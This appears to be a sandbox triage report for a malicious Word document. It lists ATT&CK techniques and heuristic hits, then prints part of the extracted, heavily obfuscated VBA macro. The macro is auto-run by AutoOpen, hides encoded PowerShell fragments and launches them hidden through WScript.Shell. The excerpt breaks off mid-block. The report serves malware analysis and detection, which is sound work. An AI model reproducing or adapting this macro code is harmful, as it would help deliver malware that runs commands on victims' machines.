MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to execute commands or download additional payloads. The AutoOpen macro further supports the execution of malicious code upon opening the document. No specific family could be identified.
Heuristics 9
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run tDlnYISNF + OuqdkkZnXIAG + IOVlGV + zKiAn, vbHide Select Case vJzcFW -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run tDlnYISNF + OuqdkkZnXIAG + IOVlGV + zKiAn, vbHide Select Case vJzcFW -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 68652 bytes |
SHA-256: 966e03e005f76b0c8acdf5ab8a655d63325aa280f068e4b503c28b85a06e7fea |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
516 of 868 identifiers look randomly generated (e.g. 'Zlj50AAOAMDAwAQOAMDAhBQYAYDA1AwNAkDA5AAO') — consistent with name-mangling obfuscation. Carved artifact contains 14 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "HRiCKSKwOVj"
Function bIniTTKDmNJr()
On Error Resume Next
Select Case GHUhDj
Case 85099
VCpzI = Fix(1765)
SNVwwI = Int(9708)
Case 69452
jIhQAv = MVKHBw
baipWm = ChrW(mQjMB)
End Select
fiofvSi = ibnPsw + IzpOEi(".uXi%.dfhX5J_SGA1AQOAQGAyAwYAUGAlBAZAEDAxAAMAUDA5AgMAIDA1AwNAcDA0AgMAMDAwAAZAEGA1AwMAkDA1AQMAMGAyAQMAYGAwAANAYGAlBQNAMGAxAQNAgDA1AwNAADAhBQNAgDAiBQi<Kwn !#%mp#25.nNp0l", 21, 133)
Select Case GHUhDj
Case 85099
VCpzI = Fix(1765)
SNVwwI = Int(9708)
Case 69452
jIhQAv = MVKHBw
baipWm = ChrW(mQjMB)
End Select
Select Case wCmDl
Case 73460
DhODj = Fix(56469)
zfNoh = Int(87480)
Case 86795
aZwokh = EoqoIb
PcmEjA = ChrW(tUQuF)
End Select
XVfAkLiXZK = cbLrBW + IzpOEi("z_Dhnj@9tUbQ6inFzjdAhBQYAYDA0AQZ5<fSwzwdC", 10, 13)
Select Case wCmDl
Case 73460
DhODj = Fix(56469)
zfNoh = Int(87480)
Case 86795
aZwokh = EoqoIb
PcmEjA = ChrW(tUQuF)
End Select
Select Case RSPCuj
Case 10150
WnhcH = Fix(42733)
VlIdwn = Int(47219)
Case 81721
XhOBfk = mTsrwP
KMKiC = ChrW(muRZoj)
End Select
Pjmwd = ZwUOD + IzpOEi("qZaoCAlBANAEDAlBwMAQDAwAQNAUDA1AgZAQGAlBAMAADAzAwYAQDA3AgMAMGAlBwNAMw61i%qs!", 9, 63)
Select Case RSPCuj
Case 10150
WnhcH = Fix(42733)
VlIdwn = Int(47219)
Case 81721
XhOBfk = mTsrwP
KMKiC = ChrW(muRZoj)
End Select
Select Case TENTR
Case 64594
jzIAq = Fix(97214)
JNoml = Int(98157)
Case 5259
JVOzN = DHhjV
TUpEqw = ChrW(VRbufI)
End Select
lnkfOXqz = rvBAs + IzpOEi("@SJwnqXJEcjCbwwvsN!szsl<YBCT8XMGA0AgNAUDA1AAMAYDA3AAOAcDAyAQMAIGA$ABZhw@[", 9, 35)
Select Case TENTR
Case 64594
jzIAq = Fix(97214)
JNoml = Int(98157)
Case 5259
JVOzN = DHhjV
TUpEqw = ChrW(VRbufI)
End Select
Select Case QYvTi
Case 42890
wnIWpB = Fix(37999)
jMNci = Int(90872)
Case 44724
aDMnw = hYkfzK
zlmVPi = ChrW(lDLXb)
End Select
LfJzWF = URWqqAC + IzpOEi("F.nzpQ(1bVwwAhBANAEGAzAAZAgDA0AAMAMDAjBAZAgDA2AwYAEA", 2, 39)
Select Case QYvTi
Case 42890
wnIWpB = Fix(37999)
jMNci = Int(90872)
Case 44724
aDMnw = hYkfzK
zlmVPi = ChrW(lDLXb)
End Select
Select Case hnXwl
Case 25326
mbbRHc = Fix(11398)
UljJS = Int(99137)
Case 76782
jMZVi = DwSli
ihZpvj = ChrW(JhRHs)
End Select
BSFUPiMT = wwShwcs + IzpOEi("uwc(GA3AgNAkDA<FVFh_jdM8tWWtZDlJWq1Czz<nldp@", 31, 10)
Select Case hnXwl
Case 25326
mbbRHc = Fix(11398)
UljJS = Int(99137)
Case 76782
jMZVi = DwSli
ihZpvj = ChrW(JhRHs)
End Select
Select Case COwFtp
Case 93052
zZSfCR = Fix(48256)
mqclki = Int(10115)
Case 94297
jDEizj = AcLXqK
CwoSiA = ChrW(hZbfd)
End Select
cJXuPkqvzQ = GwEik + IzpOEi("$B#ZTrq9T1<jW31,391,261,831,241,141,57,15,021,03,53,341,311,56,002,902,551,551,442 K- gNIrtSeruces-OtTREvNoC| '==AAmBAMAUDA4AANAQDA1AAMAcDAmBAMAEGA3AwYAYDAjBwMAgDAhBAMAkDAxAgNAADAjBwYAYGA5AQZAADAwAQNAUD[UwK_a", 7, 190)
Select Case COwFtp
Case 93052
zZSfCR = Fix(48256)
mqclki = Int(10115)
Case 94297
jDEizj = AcLXqK
CwoSiA = ChrW(hZbfd)
End Select
Select Case GmSFE
Case 29843
afoTOK = Fix(15266)
HTbdou = Int(33526)
Case 36704
fYitzD = ZPclT
oEjFY = ChrW(mNtfE)
End Select
kThBMbBNN = LwGXJz + IzpOEi("wOoDjws _zAHwrtPzwsOAADAwAAOAMGAyAQNAYGAjBwMAYGA0AgYAQDA1AAMAIGAwAAOAIGA2AAOAYDAjBQMAADAxAAOAMDAkBAZAgDA0AQMAYDAwAgNAQDAyAgYAMGAyAQNAYGA4AAZAIGAwAQOAUGA4AAMAYGAwAAMAkDAkBgZAYDAFqjbXwobB!", 11, 157)
Select Case GmSFE
Case 29843
afoTOK = Fix(15266)
HTbdou = Int(33526)
Case 36704
fYitzD = ZPclT
oEjFY = ChrW(mNtfE)
End Select
Select Case DEWcrv
Case 98765
mVmKA = Fix(61252)
bzEzz = Int(72214)
Case 70936
KnTOG = dmKIqX
vOXwjl = ChrW(TzwYL)
End Select
CZphiV = lmpcdWp + IzpOEi("iawibackYiL<YsAYGA1AAOAADAxAwMAkDAkBAMAQGAzAgMAMGA0AAOAIGA2AQNAUGAlBgMAADA5AAOAQDA5AwMAcDA1AAMAcDAhBQNAQDA0AwYAgDAlBQOAUDAjBQOAEGA4AAOAkDAwAQNAUGAlBAOAQGAxAQYAQGAwAgMAcDAwAQMAcDAzAgNAIGA0AQZAkDAzAgqu<XzY[", 8, 183)
Select Case DEWcrv
Case 98765
mVmKA = Fix(61252)
bzEzz = Int(72214)
Case 70936
KnTOG = dmKIqX
vOXwjl = ChrW(TzwYL)
End Select
Select Case ZmmJZ
Case 37896
IsCUGw = Fix(42701)
sUbwBp = Int(33289)
Case 54185
MDzLbI = IzMqY
WkPfr = ChrW(lQwJk)
End Select
hFCAwkRZRs = MYaaQt + IzpOEi("wcoB.nVzTNmzAgMAUGAkBQMAMDA0AwYAMGA3AwYAcDAiBAMAYGA0AgMAUDA5AwNAkDAhBAMAYGA5AQZAQGAyAgNAEDAmBgMAYDAEj", 3, 87)
Select Case ZmmJZ
Case 37896
IsCUGw = Fix(42701)
sUbwBp = Int(33289)
Case 54185
MDzLbI = IzMqY
WkPfr = ChrW(lQwJk)
End Select
Select Case Edcvw
Case 29616
ZwdOuS = Fix(2586)
aPbEi = Int(43168)
Case 19211
FtCPn = IOAAz
DOBBb = ChrW(pqNnGt)
End Select
fBCsqktmWVd = JHlkEfH + IzpOEi("lnNAUGA5AAMAMGA2AgZAYDAyAgNAMGAzAgYAMGAzAwYAQDAkBgZAMGAiBgZAMDAiBQZAMDAxAQZAUDAzAAZAcDAmBgYAUDAiBgZAQDAkBAZAUGA3AQZAQGA1AQZAQGA4ZakY0QG6G$", 11, 126)
Select Case Edcvw
Case 29616
ZwdOuS = Fix(2586)
aPbEi = Int(43168)
Case 19211
FtCPn = IOAAz
DOBBb = ChrW(pqNnGt)
End Select
Select Case SDFjz
Case 64389
cARAj = Fix(65417)
wabVPf = Int(78636)
Case 80568
zrEPR = soAZFY
fbwCCE = ChrW(hYQVJa)
End Select
IAGviCGh = wBtKA + IzpOEi("W. V@JA5AgZAIDAzAwYAIDA4AQNAUGA4AwYAgDAhBAZAUDAyAgNAADA5AgYAQGA3AQOAADAmBQNAIGA5AAZAQDAxAQNAUGAwAQYAIGA1AANAADAxAQZAQGAjBAZAgDA4AwMAADA4AgMAUGA4AgMAMDAyAgYAIDA1AQMAgDAyAgYA8wLj1bMJjC@C", 13, 166)
Select Case SDFjz
Case 64389
cARAj = Fix(65417)
wabVPf = Int(78636)
Case 80568
zrEPR = soAZFY
fbwCCE = ChrW(hYQVJa)
End Select
Select Case XiEQj
Case 5100
ZQnRTK = Fix(91171)
UDDBM = Int(57114)
Case 28884
BJIzk = kKnLpu
iQaiM = ChrW(pQjoB)
End Select
PSZWfAIEKf = RtKXS + IzpOEi("E6UjX#RzGj5AwYAEGA5AgNAEDA5AwMAEDA0AQMAYGA4AwMAEDA1AAMAUGAkBgwRbaj(ElU.a2JbXC", 17, 51)
Select Case XiEQj
Case 5100
ZQnRTK = Fix(91171)
UDDBM = Int(57114)
Case 28884
BJIzk = kKnLpu
iQaiM = ChrW(pQjoB)
End Select
Select Case lHozs
Case 67436
RawASa = Fix(43606)
hMVLbr = Int(94612)
Case 42304
zuzLC = WoJfoF
buiRG = ChrW(qHBWwS)
End Select
zvijrXfq = DTSLZwr + IzpOEi("T5YS!zKX7(a4AQMAIGA2AAOAQGA3AAMAYDAhBwYAIGA3AQYAYGAhBAZAEGAkBwMAYDA0AAMAkDAwAAMAMDA1AAOAQGAxAwNAMGAxAwNAIDA4AwYAIGAxAQMAgDAxAgMAQGA3AgNAkDAhBgNAIGAlBwNAUDAiBQOAkDA0AQMAQGA0AwYAcDA3AQYAEGAmBANAgDAyAAZAID]wb!dUWzOkFJl!", 15, 191)
Select Case lHozs
Case 67436
RawASa = Fix(43606)
hMVLbr = Int(94612)
Case 42304
zuzLC = WoJfoF
buiRG = ChrW(qHBWwS)
End Select
Select Case BMvVV
Case 53820
QAlBjC = Fix(13404)
lppwUo = Int(3130)
Case 75093
mSmop = NSYhzi
BJZGl = ChrW(fOZEV)
End Select
FnqSYr = mzfGcnl + IzpOEi("$!!CIAgNAIDAwAQMAQGAxAgYAgDA5AAOAUDA1AQMAUGAlBANAUDAmBwYAADAwAQYAQGAiBAZAEGA0AQOAMGAmBgZAkDAxAQYAUGA0AgZAUGA0AgZAMGAjYXhI]XdDuouJ.w3ZoD8wcG.k@EJX@", 30, 112)
Select Case BMvVV
Case 53820
QAlBjC = Fix(13404)
lppwUo = Int(3130)
Case 75093
mSmop = NSYhzi
BJZGl = ChrW(fOZEV)
End Select
Select Case bAYRX
Case 8191
SLnqbC = Fix(9816)
Bndihw = Int(91486)
Case 97592
GBvZp = nzYwf
mtzEj = ChrW(jzKpVL)
End Select
NbAnkiNit = XIwRIk + IzpOEi("2!AwMAUDAxAQZAMDA4AwYAMGAlBQMAUGA4AQNAADAwAANAUGA0AQOAIDA3AQZAIGAkBwYAUGAmBAZCnEASbdc6][", 12, 75)
Select Case bAYRX
Case 8191
SLnqbC = Fix(9816)
Bndihw = Int(91486)
Case 97592
GBvZp = nzYwf
mtzEj = ChrW(jzKpVL)
End Select
Select Case NNbOzp
Case 83523
uNdRW = Fix(17751)
EwGbiu = Int(6173)
Case 58363
zpzvs = bQQwW
vzLYhd = ChrW(WLLOW)
End Select
GOSuvtSYMh = kimaS + IzpOEi("#o(MDAhBQNAIDAkBAOAMDA0AANAcDAxAgYAEGAzAQYAMGAlBAMAIDAmBANAADAiBAMAgDAjBQMAkDA1AANAEDAxAgMAUGAmBgMAYDAxAAOAEGA2AgZAgDAwAAZAEGA5AwNonZpC(z", 8, 127)
Select Case NNbOzp
Case 83523
uNdRW = Fix(17751)
EwGbiu = Int(6173)
Case 58363
zpzvs = bQQwW
vzLYhd = ChrW(WLLOW)
End Select
Select Case kWALda
Case 93702
oHijM = Fix(92612)
UlDcF = Int(83247)
Case 74765
OHzuh = sJriMA
AMSmU = ChrW(SoXAs)
End Select
wLZtM = PoGTV + IzpOEi("!q[wNu[6G.HakoafXyAgMAEDAiBAMAUGA1AgNAcDAyAAOAIDA1AQNAMGA4AAZAIGAlBAZAQGAyAAMAEGA4AQMAMGA4AAOAEE@HdtZYjDITOTb$J<b8d_", 22, 78)
Select Case kWALda
Case 93702
oHijM = Fix(92612)
UlDcF = Int(83247)
Case 74765
OHzuh = sJriMA
AMSmU = ChrW(SoXAs)
End Select
Select Case sliZMk
Case 82835
wJvZD = Fix(54064)
fEsis = Int(54025)
Case 9600
CwtbAL = UrBIb
FcPOPE = ChrW(QmSJwf)
End Select
DFmXBu = wsvAFOC + IzpOEi("d$zuE]$BwMAIDA3AgYAIDAhBQZAYGAhBQNAQGAyAgYAQDAmBQMAEDAyAANAUGA0AgNAIDA0qHvnQqJXDAAQibc", 16, 64)
Select Case sliZMk
Case 82835
wJvZD = Fix(54064)
fEsis = Int(54025)
Case 9600
CwtbAL = UrBIb
FcPOPE = ChrW(QmSJwf)
End Select
Select Case viHLst
Case 43345
rIfJlN = Fix(2653)
zPIFvM = Int(94463)
Case 78506
wOwph = tKEGb
LaOjCE = ChrW(TCoGtJ)
End Select
zmkCPVjPQ = NjHzNn + IzpOEi("wnNojBgZAcDAiBgZAEGAzAAZAIDA2AwNAcDA1AwYAADAzAAOAYDAhBwMAIDAjBgZAYDA1AQZAIGA3AQYAQDAiBAOAMDAlBQZAUGA0AgNAEDAkBwYAADAxAwNAUDA1AAMAMDAjBAMAkDA3AQNAUGAwAQNAQDAmBAOAYDA4AgYAIGA2AAOAcDAwAANAQGA0AAMAYGA2AgM)C9.j#", 7, 196)
Select Case viHLst
Case 43345
rIfJlN = Fix(2653)
zPIFvM = Int(94463)
Case 78506
wOwph = tKEGb
LaOjCE = ChrW(TCoGtJ)
End Select
Select Case hfLmAz
Case 20404
biiPF = Fix(60306)
rrqWz = Int(22846)
Case 48783
hfjZh = vzNkIE
KwVBHQ = ChrW(FsPzK)
End Select
PsWqX = MawmilS + IzpOEi("6Ml#Qwtoud)<BANAgDA4AQOAIDA5AgNAc6wslwqiYqJb2js9D_1h]G", 22, 21)
Select Case hfLmAz
Case 20404
biiPF = Fix(60306)
rrqWz = Int(22846)
Case 48783
hfjZh = vzNkIE
KwVBHQ = ChrW(FsPzK)
End Select
Select Case BfmVpY
Case 86294
lQWNB = Fix(4255)
thNvL = Int(19157)
Case 53846
kbCLBR = OQzrqA
lLVdo = ChrW(YphHl)
End Select
wolir = VIbvST + IzpOEi("<3(1(LVnAkDAhBQZAMGAzAQOAEDAzAAMAgDA1AQMAERd!w.oXpUNEfJ(#FFXH!6M[3u", 26, 34)
Select Case BfmVpY
Case 86294
lQWNB = Fix(4255)
thNvL = Int(19157)
Case 53846
kbCLBR = OQzrqA
lLVdo = ChrW(YphHl)
End Select
Select Case VjhPj
Case 21905
XLzzil = Fix(85761)
qPSzV = Int(3569)
Case 80315
QRKhz = ZKAow
OQpTiP = ChrW(VnWcu)
End Select
vksCicd = kFvjz + IzpOEi("s6HAWoszAQZAMDAzAANAADAhBgZAIDAiBQZAUGAwAQZAEGAxAQMAUDAmBQZAIGAlBANAYGAyAwMAQDAxAQYAEGAHQWIw228c3ubj#[ZF!.H2b78HtF", 28, 80)
Select Case VjhPj
Case 21905
XLzzil = Fix(85761)
qPSzV = Int(3569)
Case 80315
QRKhz = ZKAow
OQpTiP = ChrW(VnWcu)
End Select
Select Case LZipAJ
Case 5413
QWJKJ = Fix(7402)
oQtaR = Int(27572)
Case 94764
GoBHF = RGYoJL
RbzBj = ChrW(QFkzHq)
End Select
PokqWQjn = qwzkfOI + IzpOEi("DDbMAEDA4AAZAcDA3AQOAwHA9AQPAcGA1BgWAoEA3BAUAwEA6BQQAkEAwAwcAIHj]ijT56f%Z<3isY]NE(bo.cAQ9]i", 29, 60)
Select Case LZipAJ
Case 5413
QWJKJ = Fix(7402)
oQtaR = Int(27572)
Case 94764
GoBHF = RGYoJL
RbzBj = ChrW(QFkzHq)
End Select
Select Case jkYjp
Case 70639
sAWfzP = Fix(36211)
mFnFZn = Int(52554)
Case 83949
wamrfz = iBZjRw
jMiSva = ChrW(MSQji)
End Select
skJVMRcF = bqWFmO + IzpOEi("2bB1AtBwcAUHAvBQUAkFA4AQTAUFA8BgM5435a05061b3143240f347616!1Xb6K", 8, 53)
Select Case jkYjp
Case 70639
sAWfzP = Fix(36211)
mFnFZn = Int(52554)
Case 83949
wamrfz = iBZjRw
jMiSva = ChrW(MSQji)
End Select
Select Case uhkzQf
Case 22508
BEzBKr = Fix(3472)
OVfGGb = Int(80056)
Case 45624
VakRL = LHEjzt
mrVTdm = ChrW(XZtIt)
End Select
InokhX = TdqmIs + IzpOEi("@Hz111d29467'($(RtSbOTgnIrTserUcES::]lAhsram.secivrESporETnI.eMiTnUR[ (RtSbgNIRTSOTRtP::]lAHsram.SeCiVReSPOretni.emiTnUr[( ( )'x'+]03[EmOhsP$+]12[eMoHSp$ (. jLESRvSh]", 10, 153)
Select Case uhkzQf
Case 22508
BEzBKr = Fix(3472)
OVfGGb = Int(80056)
Case 45624
VakRL = LHEjzt
mrVTdm = ChrW(XZtIt)
End Select
Select Case qzcYq
Case 9351
IiVLfH = Fix(31052)
MKEZlM = Int(72364)
Case 88837
TvliCd = niXfzl
MRuTiP = ChrW(hjGoa)
End Select
BRBwuXLC = TnCqTrN + IzpOEi("F_wY95jjjhEIZ6bJFjr20vtGA5AgZAMDAwAQMAEGA2AwYAIDAzAgZAgDAlE%OdSS2J%Thi5", 15, 34)
Select Case qzcYq
Case 9351
IiVLfH = Fix(31052)
MKEZlM = Int(72364)
Case 88837
TvliCd = niXfzl
MRuTiP = ChrW(hjGoa)
End Select
Select Case OWrpMF
Case 50934
ohAhST = Fix(27791)
zNHHV = Int(30390)
Case 69005
IqiWj = kihHk
ujjAMW = ChrW(PUmWOb)
End Select
NTkhaRQR = LnDGE + IzpOEi("3YpwhNaVWFJNAIGA5AgMAcDA1AwNAMGA4AAZAUDAzAQYAIGAmBAZAEDzRTa", 5, 43)
Select Case OWrpMF
Case 50934
ohAhST = Fix(27791)
zNHHV = Int(30390)
Case 69005
IqiWj = kihHk
ujjAMW = ChrW(PUmWOb)
End Select
Select Case NXaMOH
Case 63397
isjCzo = Fix(30971)
HBUpJf = Int(33738)
Case 37760
TLUMA = iXijD
RszEz = ChrW(HwTcQi)
End Select
JpFschGQkv = VDKGcw + IzpOEi("R[fjmBQOAMGAlBQYAkDAxAQYAIDAyAgYAEGA3AgMAIGA5AgNAADA0AAMAADA2AwYAcDA0AgNAkDAhBwNAgDA3AAZAIGAlBgZAcDA4AwYAkhJ3EUpwV2Ej", 12, 102)
Select Case NXaMOH
Case 63397
isjCzo = Fix(30971)
HBUpJf = Int(33738)
Case 37760
TLUMA = iXijD
RszEz = ChrW(HwTcQi)
End Select
Select Case zRwjuq
Case 37637
RmEwz = Fix(32549)
vpGwch = Int(13121)
Case 29131
GklSIm = EMrrhq
zVfYC = ChrW(ZjnKtS)
End Select
rDbuOcCKik = twawni + IzpOEi("F]oHMAEDAlBwMAEGAiBgZAYDAzAQYAIDA2AAOAQGAyAAZAEGA1AQZAMGA4AgNAkDAwAQZAYDXbPcuWR", 8, 68)
Select Case zRwjuq
Case 37637
RmEwz = Fix(32549)
vpGwch = Int(13121)
Case 29131
GklSIm = EMrrhq
zVfYC = ChrW(ZjnKtS)
End Select
Select Case LjzPFF
Case 14483
uJscC = Fix(90730)
zvzIw = Int(68046)
Case 81074
HvEHcM = wPWGm
cCquB = ChrW(opnNka)
End Select
stFdzzDKwd = jLdztCJ + IzpOEi("b%fQmXvww1AgYAgDAlBANAADAxAQOAADA2AwNAgDAhBgNAcDAyAAMAQDAiXs5_VS11Fpsiz5YuzzHwcAJSiU", 27, 48)
Select Case LjzPFF
Case 14483
uJscC = Fix(90730)
zvzIw = Int(68046)
Case 81074
HvEHcM = wPWGm
cCquB = ChrW(opnNka)
End Select
Select Case bwHmFi
Case 1749
iGmvNd = Fix(51251)
iWYQZ = Int(14267)
Case 46830
GYJBk = ujsHTY
aGJOG = ChrW(VUJPNh)
End Select
nOzwW = ktLtC + IzpOEi("jC%jdY[Ett#uw]@lij8zX6nwaOdaULHbn#CjU2AgNAIGA4AANAYGA0AgNAgDA0AQZAEDAzAwYAUDAlBwMAkDA1AwMAUGAwAwYAEGAiBQNAkDAlBQZAUDA0AgMAj", 2, 85)
Select Case bwHmFi
Case 1749
iGmvNd = Fix(51251)
iWYQZ = Int(14267)
Case 46830
GYJBk = ujsHTY
aGJOG = ChrW(VUJPNh)
End Select
Select Case MLiTj
Case 63502
zdUdls = Fix(37533)
ZCOHk = Int(3643)
Case 33691
hIZkzz = iaidnG
VfOQZ = ChrW(cKYLZF)
End Select
YIXzWc = ucHQHT + IzpOEi("5dFCBwYAMGA1AQNAQGA4AAZAgDAwAAMAkDAkBgZAgDAyAQMAgDA2AAZAMGAkBQMAIGAzAAOAYGA1AQOAUDA5AgMAADAmBAZAYGA0AANAYGA2AgYAQDAxAwNAMGA1AgZAUDAxAgZAQGAhBQYAIDA5AANAIDAyAAMAgDA1AgYAgDAj<wwJaVjz16$Taz!b8jj", 21, 167)
Select Case MLiTj
Case 63502
zdUdls = Fix(37533)
ZCOHk = Int(3643)
Case 33691
hIZkzz = iaidnG
VfOQZ = ChrW(cKYLZF)
End Select
Select Case VUCVT
Case 28743
tNSbzk = Fix(28701)
ozfri = Int(23003)
Case 49781
zTDpRP = DJwiF
KklTM = ChrW(hDGvHK)
End Select
lrzwOo = UwpPL + IzpOEi("C1#9wbwHXFniBQMAQGAiBgNAUDA2AwNAIDAkBAZAMGAxAQYAMDAhBwNAYDAiBwMAcDA(vaUj6z.aNrRQhL[EK6wlQI2", 25, 56)
Select Case VUCVT
Case 28743
tNSbzk = Fix(28701)
ozfri = Int(23003)
Case 49781
zTDpRP = DJwiF
KklTM = ChrW(hDGvHK)
End Select
Select Case WQuAfh
Case 57817
rSdriK = Fix(9755)
olNJU = Int(58343)
Case 92966
swpEjt = HSsVii
pzMrPP = ChrW(TvRjNm)
End Select
soYcGRLJO = bNZtiCv + IzpOEi("Y@BajWU5wzNAADAyAAMAQDA4AAZAgDAkBAMAIDAzAgZAkDAkBAMAYVEF]Q", 6, 43)
Select Case WQuAfh
Case 57817
rSdriK = Fix(9755)
olNJU = Int(58343)
Case 92966
swpEjt = HSsVii
pzMrPP = ChrW(TvRjNm)
End Select
Select Case ikRpi
Case 32046
MMbGwl = Fix(55290)
tNNJJ = Int(60312)
Case 40772
sXuNGX = QqThc
DmYFzw = ChrW(fYVKU)
End Select
OmiqunuPAHP = nwdsT + IzpOEi("wwCkwbtanEGAzS[AazpoC]E3Vrzoiv", 18, 4)
Select Case ikRpi
Case 32046
MMbGwl = Fix(55290)
tNNJJ = Int(60312)
Case 40772
sXuNGX = QqThc
DmYFzw = ChrW(fYVKU)
End Select
Select Case HFRpSb
Case 12040
wEInYu = Fix(20923)
fjKCD = Int(58994)
Case 30442
uzdiBF = wrhjbw
wzSFFS = ChrW(aEGij)
End Select
hCATGKsfjH = pSfLR + IzpOEi("j6YNtzj2CjdhCwdZAcDAiBAOAIDA5AAMAYDAyAgMAUGAkBgYAEDAzAgNAcDA.n C3d", 7, 45)
Select Case HFRpSb
Case 12040
wEInYu = Fix(20923)
fjKCD = Int(58994)
Case 30442
uzdiBF = wrhjbw
wzSFFS = ChrW(aEGij)
End Select
Select Case kDbtvH
Case 38962
mSbtMS = Fix(10164)
zHkSCV = Int(60198)
Case 6526
PdHGs = wSqkB
jOwTO = ChrW(wTNqBR)
End Select
rCXjFjwsa = wdDocq + IzpOEi("!qSqGEUdnb.ITNAMGAlBAOAQDAhBQOAQGAmBAZAADA0AgZAQGA0AwNAEDA1AAMAcDA4AQZAUDAhBAZAUDAhBwYAgDA2AQNAYGAyAQNAQGAhBQZAEDAlBAOAEGAyAQYAEDAzAAOAUDA3AANAgDA5AgYAEGAmBQOAIDAhBQYAUGA2AgNAQDA2AAOAMGAyAwMAkDA5AgNAEEEc6.d7Q5[TnoQJY)M", 19, 187)
Select Case kDbtvH
Case 38962
mSbtMS = Fix(10164)
zHkSCV = Int(60198)
Case 6526
PdHGs = wSqkB
jOwTO = ChrW(wTNqBR)
End Select
Select Case bhjASa
Case 52063
ZPkUHr = Fix(80127)
SopbZj = Int(94058)
Case 48469
EzpCEY = GEjiH
NJVOWD = ChrW(mALNwa)
End Select
omVjzKbtz = tdZUl + IzpOEi("3$jXH[Cw%bal5dsDAwAQOAYGAiBQMAkDA5AwNAMDA3AwYAIGA0AgZAYDAiBAZAkDAjBQMAIDAk.zjj", 5, 59)
Select Case bhjASa
Case 52063
ZPkUHr = Fix(80127)
SopbZj = Int(94058)
Case 48469
EzpCEY = GEjiH
NJVOWD = ChrW(mALNwa)
End Select
Select Case hwpuN
Case 55755
qkAwfK = Fix(55334)
ktBLXB = Int(22529)
Case 56063
PpqaI = OdofW
OJGJB = ChrW(MvARH)
End Select
wzwvnLP = jlWsk + IzpOEi("U6JX[FNAUDAxAANAkDA0AAOAIGAkBwNAQGAjBAZ2GY@f<N6", 9, 33)
Select Case hwpuN
Case 55755
qkAwfK = Fix(55334)
ktBLXB = Int(22529)
Case 56063
PpqaI = OdofW
OJGJB = ChrW(MvARH)
End Select
Select Case uvhmOi
Case 93190
GEnYQZ = Fix(77835)
IdWmj = Int(89156)
Case 35766
BTAdV = wjatrj
XNSdWQ = ChrW(jojom)
End Select
kHRZNsPuKUl = zKfZXs + IzpOEi("oaiD.z2QfCSjsCUwDWajSvddNE<b!A4AAOAMDAhBQOAkDAiBANAUGAiBANAMDAyAQZAEDAyAQMAADAiBgMAgDAwAAZAEDAyAgZAMGA0AAZAQDAmBgNAQGAjBgZAkDAjBQZAQGAzAQZAMDA4AgYAM[", 2, 119)
Select Case uvhmOi
Case 93190
GEnYQZ = Fix(77835)
IdWmj = Int(89156)
Case 35766
BTAdV = wjatrj
XNSdWQ = ChrW(jojom)
End Select
Select Case PVmGM
Case 61817
QzKtJo = Fix(65894)
wQLZnn = Int(59475)
Case 1892
hoMcj = djVLPw
jWIHzY = ChrW(YNYjpl)
End Select
lIbkziLwioE = dcRLSA + IzpOEi("ZADA2AgNAMDAxAQMAkDAkBQZAIDA5AgZAYZRbp$w.nNDi", 12, 32)
Select Case PVmGM
Case 61817
QzKtJo = Fix(65894)
wQLZnn = Int(59475)
Case 1892
hoMcj = djVLPw
jWIHzY = ChrW(YNYjpl)
End Select
Select Case vLRYt
Case 8930
Wzfjc = Fix(93488)
oSQnv = Int(91795)
Case 25041
ijQwa = DzjSIh
biDfsN = ChrW(AakpQ)
End Select
QisXUWi = WWYWkU + IzpOEi("JL0AQNAADAwAAMAUDAlBwYAIDA2AgNAMDAyAAMAYGA5AQYAYDAzAgZAQGAzAgZAkDAlBQZAQGA0AQMAYGA1AQMAYDA3AQZAcDA3AANAEDAzAQ2jCYFchiHwd_]$(ww_cEXlHJ6YLqziiL2", 34, 107)
Select Case vLRYt
Case 8930
Wzfjc = Fix(93488)
oSQnv = Int(91795)
Case 25041
ijQwa = DzjSIh
biDfsN = ChrW(AakpQ)
End Select
Select Case HCFaEw
Case 92701
PlibsX = Fix(65172)
vkGsj = Int(4099)
Case 38378
AzjRiv = ARZNaY
zzmKvG = ChrW(njhciP)
End Select
HUCJlzodks = wMIhlkr + IzpOEi("AE8wu6(l61AIGAyAgNAEDAlBwMAQDA5AQMAMGA5AQOAYDAjBAOAMGAkBAMAYDAlBgZAQGANmFN.Ait)Dfwwq", 15, 60)
Select Case HCFaEw
Case 92701
PlibsX = Fix(65172)
vkGsj = Int(4099)
Case 38378
